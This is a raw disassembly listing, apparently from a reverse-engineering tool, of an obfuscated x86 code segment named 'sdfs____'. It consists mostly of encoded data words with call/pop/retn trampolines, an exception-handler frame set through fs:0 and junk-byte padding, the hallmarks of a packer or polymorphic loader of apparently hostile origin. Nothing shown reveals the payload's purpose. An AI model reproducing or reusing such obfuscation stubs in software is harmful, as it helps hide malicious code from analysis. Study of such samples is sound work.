8B19C368h, 0D958BDAh, 6A07E932h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0E9E6C357h, 7, 7967B5A9h, 8BEE6E46h, 0E922E58Dh dd 0B9B58907h, 5007E909h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 6840F58h, 89000000h, 0E91A9D8Dh, 83F88B07h dd 0E91C2DBDh, 840F0007h, 0A4h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0C5C35545h, 0F11F91A7h, 6622499Ch dd 0B8B4DCBBh, 0 dd 12E8h, 5780F200h, 0E22AF003h, 9B19F89Dh, 0CE1A5E9h dd 0F5B48AB1h, 19E3815Bh, 8D6B4160h, 0E94D5A8Dh, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 902A2E92h, 0E5958975h, 0FF07E92Ah, 57006AE1h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0A69FB9D6h, 0A712945Fh, 52DF8B66h, 5BDFBF0Fh, 22B1BD83h dd 0F0007E9h, 55D84h, 7E900h, 6BAA0000h, 0A96FE0DDh, 0B1BD83A8h dd 107E922h, 55F840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0FCF60BC3h, 9D099C43h dd 7E91611h, 22B1BD83h, 0F0307E9h, 4F686h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 8FA8654h, 820F6041h, 6, 37EFE081h, 0E1BE6E90h, 6145D9B0h dd 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 1996CB4Ah, 8C664A19h, 53006AD9h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0DBD4E542h dd 0BF8C7DA2h, 1ACA53EBh, 6A04E180h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 4FA7C356h dd 0DB816660h, 0B58B667Dh, 7E90911h, 99858961h, 0A07E910h dd 51840FC9h, 8B000001h, 0E90C5585h, 7E86007h, 2000000h dd 5FEAB1ECh, 0BA668C08h, 0F5E2F93h, 289h, 615F5300h, 4317DF81h dd 85331C83h, 7E91CE9h, 2BCF8160h, 10E3AD3h, 0E91729B5h dd 60506107h, 5250DE8Bh, 8A0Fh, 310F0000h, 10E9h, 0D5BB6900h dd 9D700EBDh, 0B426100Eh, 82A720DFh, 61585A1Dh, 6A240489h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0C6F0C351h, 6E9D816h, 8B000000h, 9BFACB3Eh dd 358D29B0h, 107E916h, 0E91331BDh, 51006A07h, 365C685Bh dd 481E952h, 0CCCDA324h, 50006A16h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 97D194B4h, 0BD897EC3h dd 7E91739h, 2D995FFh, 6A07E9h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 8910C9C3h, 0ECD78585h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 24233FDFh, 0E2B9E30Dh, 0FB18D89h, 42E907E9h dd 6A000002h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 97E6C353h, 8F330EBEh, 0BFEC5DD6h dd 31C401B1h, 0D77D858Bh, 8E0F07ECh, 6, 8698589h, 0B58907E9h dd 7E91F59h, 1800C7h, 37BB0000h, 8B5A9E91h, 0ECD781B5h dd 0C5BD8907h, 8B07E92Eh, 0E9185985h, 0B1B58907h, 8907E909h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0DD0B1593h, 0E9933C0h, 0D38166D4h, 9D8BEF3Fh dd 7E90F3Dh, 0C55858Bh, 6A07E9h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 80EA18C3h, 89ADD61Fh dd 12E80446h, 0C7000000h, 4C8F093Ah, 0FEDDF10Eh, 0A27EA853h dd 7EC9F1C2h, 0F608BFD1h, 505B0C19h, 348918B3h, 50006A24h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0DBBF0F46h, 0D77DB5FFh, 6A07ECh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 5D18B0C3h dd 4E8068Eh, 0FF000000h, 0E9001F03h, 5, 0A4EAD44Eh, 50605065h dd 0F29B352h, 0F525031h, 5A585A31h, 0D112BE58h, 8B617277h dd 0E9042444h, 14h, 80D8033Fh, 0A2FB393Dh, 6FB3C05Dh, 3589AE42h dd 0B4923275h, 4489008Bh, 4DBB0424h, 5871DC35h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0CC35343h, 0BAC6BC64h dd 3E9EDBF0h, 6782EBBh, 85858D20h, 6A07ECD7h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0B6C8C357h, 5E2F8E64h, 11E9h, 14F8A200h, 7BCAE13Bh dd 7B0DAC17h, 1E4E0A60h, 8D893765h, 7E91BF9h, 6A905090h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 798BC356h, 0CBBECAE2h, 52E6AC7Ah, 2850Fh dd 0DE8B0000h, 0D995FF5Bh, 6A07E902h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 37A7C350h dd 13F0622Ch, 0FDC38166h, 6A6137h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 23BF01C3h, 603E7CA4h dd 858BCE8Bh, 7E91F8Dh, 0B185C761h, 307E922h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 9928C357h, 860F53E5h, 6, 19C9B529h, 0F5B07E9h dd 88Ah, 9D8B5200h, 7E9022Dh, 45BF665Bh, 85BD83B9h, 7ECD7h dd 51840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 693310C3h, 893BBA93h, 0E90741BDh dd 40E907h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 625729C3h, 5845E4F9h, 508E0E73h dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 38BBC08Bh, 94DBF7Ah, 0E912C995h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 918B5298h dd 9E6B7DBBh, 0C3802A4Eh, 99BF6657h, 0B1BD8355h, 307E922h dd 411850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 8D9235C3h, 91851442h, 9D29E4EDh dd 7E91961h, 0D785BD83h, 0F0007ECh, 3DA84h, 0BE900h, 0F75B0000h dd 57FC4A36h, 1525DF5Fh, 85B5FF0Dh, 8907ECD7h, 0E934BD85h dd 4995FF07h, 6607E913h, 0B58BD88Bh, 7ECD779h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 22C35040h, 6C773AFh dd 10001h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 90C35747h, 14E9ED8Fh, 0C5000000h, 68417743h, 61C03B55h dd 6C289397h, 7469045h, 0E966D656h, 0Fh, 0DA445605h, 67D1842Ah dd 577E5715h, 964B4EE1h, 0E89D5BBBh, 8E85053h, 4A000000h dd 3C1A6CA7h, 0B707244Dh, 8B965F28h, 85B5FFF8h, 3307ECD7h dd 0E9092DBDh, 0B195FF07h, 8B07E91Ah, 79B58BDEh, 6A07ECD7h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0FE6EC356h, 8B730EFEh, 0E90DD5BDh, 0A8E0F07h dd 0E9000000h, 5, 638E50F5h, 0F19589C2h, 8B07E92Fh, 0E9244985h dd 0EDB58907h, 8907E91Eh, 0C486h, 0DB816600h, 958B3656h dd 7E9320Dh, 810Fh, 0C2830000h, 0DE8B6604h, 89205089h dd 0E91C7595h, 0A1858D07h, 0E807ECECh, 0Fh, 0D9587B65h dd 1D24734Eh, 0DCCB2C9h, 0E9910F1Bh, 12h, 362178F7h, 311FD1CCh dd 0B85AABCAh, 6EBC4C05h dd 895FB244h, 0B886h, 0B98D2900h, 6A07E930h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 8D055BBCh, 0A752DCEBh, 13E95BE4h, 75000000h, 7426501Dh dd 0FCED3927h, 38CD7180h, 0BE1AC69Ch, 0B5FFC61Bh, 7ECD785h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 56C35141h dd 0C7691FB9h, 95FF9656h, 7E902CDh, 236FBB66h, 42CB8166h dd 0BB669635h, 8B502E2Ah, 0BD8B96D8h, 7E90F19h, 0D785B5FFh dd 870F07ECh, 12h, 6E8h, 0A38BF400h, 8B5117C6h, 0E90F319Dh dd 95FF5F07h, 7E9302Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 91C35141h, 7B8CF9FAh, 0B9608441h, 480E633Eh dd 17398D89h, 836107E9h, 0E91EC9BDh, 840F0007h, 4Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 32C35747h, 7E95750h dd 1B000000h, 4819370Ah, 895F63D1h, 6A2434h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 4ED442C3h dd 85B5FFC0h, 6A07ECD7h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 6C4BC353h, 57EB9E7Eh dd 0AD161544h, 0AE952h, 51EE0000h, 0F2645A7Fh, 0CEEDE3E1h dd 0DABF0F5Bh, 0FE9h, 61EF3100h, 233B364h, 78FA5663h, 0E29D3CCAh dd 1F9D95FFh, 8E0F07E9h, 5, 94667ABFh, 85B5FF72h, 6A07ECD7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 0BCE4C353h, 95896046h, 7E930F9h, 9098D8Bh dd 8B6107E9h, 3995FFD8h, 6607E901h, 8329C3BBh, 0E929CDBDh dd 840F0207h, 57h, 2FDD9D89h, 858B07E9h, 7E90875h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 3CC35545h, 0B3D85C43h dd 0C4AED767h, 6A0000C6h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0B78FC351h, 0C98D8963h dd 0C707E92Fh, 0E924AD85h, 7, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0E91A6DCEh dd 0FFFFF1F4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 71C35242h, 5386AF4Fh, 8BFC5AF0h, 51BD89C1h, 8D07E92Bh dd 0E9086185h, 5E9F807h, 12000000h, 658070DBh, 0E8606090h dd 0Dh, 0C1B9D08Dh, 71F070EBh, 3C9D7EDDh, 8B665F1Eh, 23B961C1h dd 6101A50Ch, 6A9050h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0B0B313C3h, 5E8FA53h, 1A000000h dd 0E360EA78h, 58B0Fh, 81660000h, 5FCF7ED7h, 8D01006Ah dd 7E90189h, 0FA8B006Ah, 0F79858Dh, 8D3107EEh, 7E9212Dh dd 2905C083h, 0E9266585h, 0D1958907h, 5007E929h, 66525060h dd 0F6E9ABFh, 5AD08B31h, 4896158h, 0C434BF24h, 6A3DFBh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0BDC35242h dd 4EEF18B2h, 0F07499A9h, 9BC38035h, 11E8006Ah, 70000000h dd 0A8BF401Bh, 7F800A2Ah, 61455F3h, 740D4774h, 1C298589h dd 0BB5B07E9h, 751E8D7Bh, 0FB995FFh, 8D8D07E9h, 7ECD72Ch dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 8DC35343h dd 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 168FDC3h, 86A21A52h, 1CC4BF66h, 1B69BD83h dd 0F0107E9h, 5A85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0BD238671h, 7E91739h dd 19CDBD23h, 26A07E9h, 21C9BD23h, 895007E9h, 0E0BF2404h dd 0E9419B78h, 0Fh, 0AD8DDFF7h, 0B35BE270h, 0CC813898h dd 0FF41320Ah, 0E902CD95h, 19B52907h, 0E907E919h, 0D63h dd 0E8h, 0ED815D00h, 7EE0F83h, 0B589FB8Bh, 7E93591h, 0B406858Dh dd 6A07ECh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 4B61ACC3h, 0CB8B6096h, 6131C580h, 14FDBD8Bh dd 0B58907E9h, 7E92605h, 1DB1BB50h, 489546Bh, 9DB58924h dd 2907E925h, 0E92A1D85h, 35FF6407h, 0 ; --------------------------------------------------------------------------- sub ebx, 44F1D111h mov large fs:0, esp push 0 push esi call sub_5D4DB8 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D4DB8 proc near ; CODE XREF: sdfs____:005D4DB0p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5D4DB8 endp ; --------------------------------------------------------------------------- inc ecx inc dword ptr [ebp+7E90F9Dh] jmp loc_5D4DE3 ; --------------------------------------------------------------------------- dd 9E457A1Ah, 227B1760h, 0E4376F0Eh ; --------------------------------------------------------------------------- jmp short loc_5D4DF7 ; --------------------------------------------------------------------------- db 33h ; --------------------------------------------------------------------------- loc_5D4DE3: ; CODE XREF: sdfs____:005D4DCFj ; sdfs____:005D5A50j push 0FFFFFFFFh sub [ebp+7E91661h], ecx push dword ptr [ebp+7E93151h] mov [ebp+7E90935h], edi loc_5D4DF7: ; CODE XREF: sdfs____:005D4DE0j call dword ptr [ebp+7E9233Dh] jmp loc_5D4F13 ; --------------------------------------------------------------------------- dw 0BD8Bh dd 7E92129h, 0FA8B00B0h, 0E4F970E6h, 0FA8B6671h, 830F613Ch dd 0F7h, 2F89BD8Bh, 0B60F07E9h, 8E0FC8h, 0BA000000h, 6 dd 26559529h, 0C18B07E9h, 1DA59D8Bh, 0E8C107E9h, 0BBBB6604h dd 0E2F7665Fh, 0BE0525BFh, 29C82B23h, 0E916FDBDh, 8BD18B07h dd 0E90991BDh, 0B1E907h, 0B5890000h, 7E92DD5h, 4858Bh dd 8B660000h, 7C083F8h, 0C083DE8Bh, 0FA8B6600h, 830FD03Bh dd 30h, 0CBD9D89h, 0BF0F07E9h, 81E9D9h, 820F0000h, 1Ch dd 3C28160h, 0E814C3C4h, 0Eh, 3DEBECFCh, 0BE217022h, 0C3E95150h dd 615B26E8h, 0FFFF8D8Bh, 12E9FFFFh, 0E1000000h, 474F19C4h dd 3715C77Eh, 4C015A8Ah, 8FA9DC78h, 8383B7ECh, 840F01E1h dd 37h, 8918DF80h, 0E9151595h, 0FFA58307h, 0FEFFFFFFh dd 6810Fh, 0DF810000h, 0AE6AAE8h, 5BCB8166h, 49589A1h dd 60000000h, 3181B589h, 0B70F07E9h, 0E961D8h db 3 dup(0) ; --------------------------------------------------------------------------- loc_5D4F13: ; CODE XREF: sdfs____:005D4DFDj lea esi, [ebp+7ED8C1Ch] push 0 push edi call sub_5D4F24 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D4F24 proc near ; CODE XREF: sdfs____:005D4F1Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5D4F24 endp ; --------------------------------------------------------------------------- dd 0E2B44B2Fh, 48518137h, 6E90B19h, 2A000000h, 5E555DA9h dd 0BD953199h, 6A07E900h, 0E99D8B00h, 0FF07E929h, 0E90C3195h dd 56CF8107h, 0B90EF49Eh, 0F6Eh, 13E9h, 0D36FAA00h, 5214C158h dd 72D56E0Fh, 0E97480D9h, 0D37024A8h, 66FCE183h, 1FF3D781h dd 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 893AB33Dh, 0E926AD8Dh, 0FC02B07h, 687h dd 4DBD2300h, 0F07E92Eh, 282h, 2BD98B00h, 52006AD2h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 33ADFC71h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0E5F2A0C3h dd 12E9h, 0BD6AEC00h, 7793D43Dh, 55B70F91h, 1B3A2940h dd 6A270982h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0A47BC356h, 0BD8BAE54h, 7E92095h dd 880Dh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 0D0ABD8E4h, 8BB3F897h, 0E909E19Dh dd 0D958B07h, 0F07E932h, 8D8BF8BFh, 7E922E5h, 10E956h dd 0B3E0000h, 0ECF8CA4Ch, 8E2C23C7h, 645665C7h, 8B5BC42Eh dd 0C28B50F8h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6658188Bh dd 6E8DE8Bh, 0F4000000h, 0DC61B76Bh, 49BB66E0h, 8D0F5BE5h dd 3, 83F88B66h, 0E91C2DBDh, 840F0007h, 90h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B2C35747h, 10BB66EEh dd 0B8EAh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 0AA0DF5C3h, 49F55B4Ch, 8D12CE89h dd 0E94D5A8Dh, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 8B604221h, 0E9F9810Fh dd 12h, 9A42E3C0h, 69AA961h, 66B2AB22h, 95F45BADh, 0E1FF5617h dd 0E6CEBF66h, 22B1BD83h, 0F0007E9h, 46F84h, 7DBD3300h dd 8107E922h, 0B1051ADBh, 0B1BD836Eh, 107E922h, 471840Fh dd 51600000h, 73E98166h, 0B58958E6h, 7E913CDh, 0B1BD8361h dd 307E922h, 41F860Fh, 0B5890000h, 7E92DBDh, 31BB6660h dd 6A606197h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 96B5C350h, 0A82E8053h, 0FEB70FF3h dd 57D98C66h, 0DE9h, 0C2A27E00h, 0D17EC9F1h, 46A8EB59h dd 665F6CEFh, 8051E1BBh, 6A04E1h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 5C2231C3h, 0CE849h, 0EA710000h dd 2D86E19Fh, 0CAA5F809h, 0BD8BB347h, 7E91EA9h, 718D895Fh dd 0A07E920h, 40840FC9h, 6A000001h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 417AC352h dd 0B1465295h, 81911DBCh, 0BEDB18F7h, 71BD8B42h, 8B07E911h dd 0E90C5585h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0B509CF1Fh, 7E91509h dd 1CE98533h, 6A07E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0E87A7FC3h, 16164C77h, 818AD068h dd 20628BEBh, 66525057h, 895FFE8Bh, 89F92404h, 0E908C98Dh dd 6A006A07h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 188CC353h, 503E68B9h, 0E9520065h dd 0Ch, 0F0622C37h, 0C7FF9D13h, 0FFA5479Ch, 2434815Bh dd 7A53C1h, 95FF32B7h, 7E902D9h, 17D9589h, 858907E9h, 7ECD785h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 5C35747h dd 0FE51BFFFh, 66E6E17Fh, 0F2F0BBFh, 0F5E9DEB7h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 1E9CC352h, 3812D7EBh, 8B6846DBh, 0ECD77D85h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 25FFCB59h, 1595BD8Bh, 12E907E9h, 0D5000000h dd 0BD1B2B0Fh, 597F66A4h, 0EC11C499h, 0FE7193AEh, 1800C79Fh dd 0E8000000h, 14h, 54B2A13Ah, 0D82538ACh, 58119882h, 0D2773E1Fh dd 0F97399AEh, 2311BD89h, 8B5F07E9h, 0ECD781B5h, 89858907h dd 8B07E90Fh, 0E9185985h, 0E9858907h, 8907E90Bh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0DE044324h, 0C55858Bh, 9D2B07E9h, 7E91A79h, 6A044689h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0D2AEC350h, 0B5030ABFh, 0B8BF95F9h, 9623E794h dd 0F508CB3h, 280h, 96FE8B00h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 86C35343h, 4CDFF07Eh, 0E9B87E7Eh dd 0FFF88B66h, 0ECD77DB5h, 798D8907h, 0E807E923h, 4, 1F03FFh dd 9E8h, 640E6900h, 7D18D026h, 0BB666E7Ah, 505F9A32h, 0BF665250h dd 310FA4BEh, 3022BF66h, 448B585Ah, 8B660424h, 8B008BFEh dd 244489F9h, 0CE804h, 91780000h, 6C63606Ah, 64D570B6h dd 13E916A7h, 77000000h, 0A13EC1A2h, 604A628Eh, 0D3208B03h dd 3BE387BBh, 585B4846h, 1FC5B589h, 858D07E9h, 7ECD785h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 41C35242h dd 2982FB59h, 0FE9BA14h, 9000000h, 19DAAD3Fh, 86C28915h dd 0B70147C8h, 0B3904227h, 0F9905005h, 2D995FFh, 0BD3307E9h dd 7E92B51h, 13E95761h, 0C000000h, 0DE3E54F4h, 0D62D55C2h dd 0EDC163A3h, 37113154h, 0C75F1866h, 0E922B185h, 307h dd 14BF6600h, 85BD8300h, 7ECD7h, 43840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 34B9BDC3h, 9036DDB9h, 11E8h, 31586300h, 0CB702CADh dd 99BC4D64h, 8F862381h, 5B53D983h, 1EE95Bh, 8B660000h dd 0C3050DEh, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 66DF8166h, 52006A0Eh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 4D8B8EC8h dd 6DD12A89h, 33600D73h, 0E9158D95h, 0BD836107h, 7E922B1h dd 0F5850F03h, 0F000003h, 0D89h, 81666000h, 0FA26CE8h dd 85h, 0BD836100h, 7ECD785h, 0D5840F00h, 0BB000003h, 62916AAh dd 0D785B5FFh, 6A07ECh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 791D54C3h, 335805BCh, 8140E111h dd 5E5137C7h, 4995FF34h, 5607E913h, 70D36DBBh, 0B58B5F6Ah dd 7ECD779h, 6C7D88Bh, 10001h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 7CC35646h, 66EE229Bh, 50A61CBBh dd 0BB665250h, 310F806Eh, 3489585Ah, 0DE8B6624h, 0D785B5FFh dd 6A07ECh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 61B3D2C3h, 0FADBD8Bh, 0FE8B07E9h, 1AB195FFh dd 6A07E9h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 104C39C3h, 260B08F4h, 354DBD29h, 0B58B07E9h, 7ECD779h dd 858BB7B3h, 7E92449h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 17C35747h, 7B47429Eh, 0C48689F2h, 89000000h dd 0E907A9B5h, 0D958B07h, 2907E932h, 0E92AF185h, 4C28307h dd 0D5C78166h, 205089E9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 56C35040h, 668E7D84h, 858DF5B1h, 7ECECA1h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 9FC35242h dd 89EF0432h, 0B886h, 0AD8D8900h, 6A07E918h, 1929BF00h dd 8B6663A3h, 85B5FFF9h, 3107ECD7h, 0E90B15B5h, 0CD95FF07h dd 6A07E902h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0E3CEC350h, 0FD5A3B0h, 687h, 35958900h dd 0E907E935h, 0Eh, 0A6275BB6h, 0E3F8E7D7h, 1ACD6BBAh dd 8B5006F3h, 243489FBh, 0FFD88B66h, 0ECD785B5h, 0FFFE8B07h dd 0E9302D95h, 0C0BB6607h, 0C9BD83D4h, 7E91Eh, 89840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0BD85B8C3h, 0C4F07D7Eh, 0EB81C6B7h, 0B74F0F7h dd 34499D89h, 0E99607E9h, 0Bh, 0DB42AA63h, 60289700h, 50034531h dd 0F157BF57h, 965B0711h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 27C35646h, 6C14CB40h, 2800F91h, 8B000000h dd 0AE8DAh, 0C57E0000h, 4CD7550Ch, 28CEBFF6h, 2C759D8Bh dd 0FF5B07E9h, 0ECD785B5h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 95FFA9C4h dd 7E91F9Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 19C35646h, 89E6C86Fh, 0B5FF73FDh, 7ECD785h, 13E9h dd 14A9D300h, 0A0FE583Ah, 91040CDEh, 0FF107D5Eh, 0CD36B090h dd 0BF18589h, 95FF07E9h, 7E90139h, 15890Fh, 10E90000h dd 24000000h, 12CFA0D5h, 0B2206400h, 81E6505Dh, 8387ED72h dd 0E929CDBDh, 840F0207h, 62h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 54C35242h, 0BE9h, 79262F00h dd 0E72A8FB7h, 4F0CD715h, 875858Bh, 6A07E9h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 76BBB4C3h dd 6A45D1Eh, 1D65BD8Bh, 0C607E9h, 0D4FEBB00h, 85C7716Eh dd 7E924ADh, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5D5A1F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5A1F proc near ; CODE XREF: sdfs____:005D5A17p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5D5A1F endp ; --------------------------------------------------------------------------- cmp al, 8Bh mov ebp, 7E90CE5h jmp loc_5D5A4D ; --------------------------------------------------------------------------- db 1Eh dd 0D3014B8Ah, 6D98EE8Ah, 243DCD34h, 82D050B7h db 0E0h ; --------------------------------------------------------------------------- loc_5D5A4D: ; CODE XREF: sdfs____:005D5A36j mov di, bx jmp loc_5D4DE3 ; --------------------------------------------------------------------------- push 0 push eax call sub_5D5A60 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5A60 proc near ; CODE XREF: sdfs____:005D5A58p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5D5A60 endp ; --------------------------------------------------------------------------- dd 2FA86AE9h, 8B931748h, 0E902619Dh, 6AC18B07h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 8D99C352h, 0E9086185h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0AA77865Bh dd 0EFC1558Eh, 0E6D2BF66h, 0C0BF6690h, 0BB6650C8h, 6A906DF9h dd 4BBB6600h, 6A006A2Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 0A2EAC355h, 0C6C8CF36h dd 59BD8BBEh, 8D07E91Dh, 0EE1F3785h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 148EBBECh dd 0F54A361h, 0C81h, 6860F00h, 29000000h, 0E9003595h, 5C08307h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 2BC35343h dd 641B84A4h, 0BF0F5A9Dh, 318D89F9h, 9007E913h, 9050D98Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0CEC35646h dd 68400E4Dh, 0F30216Ah, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 6A3BC3h, 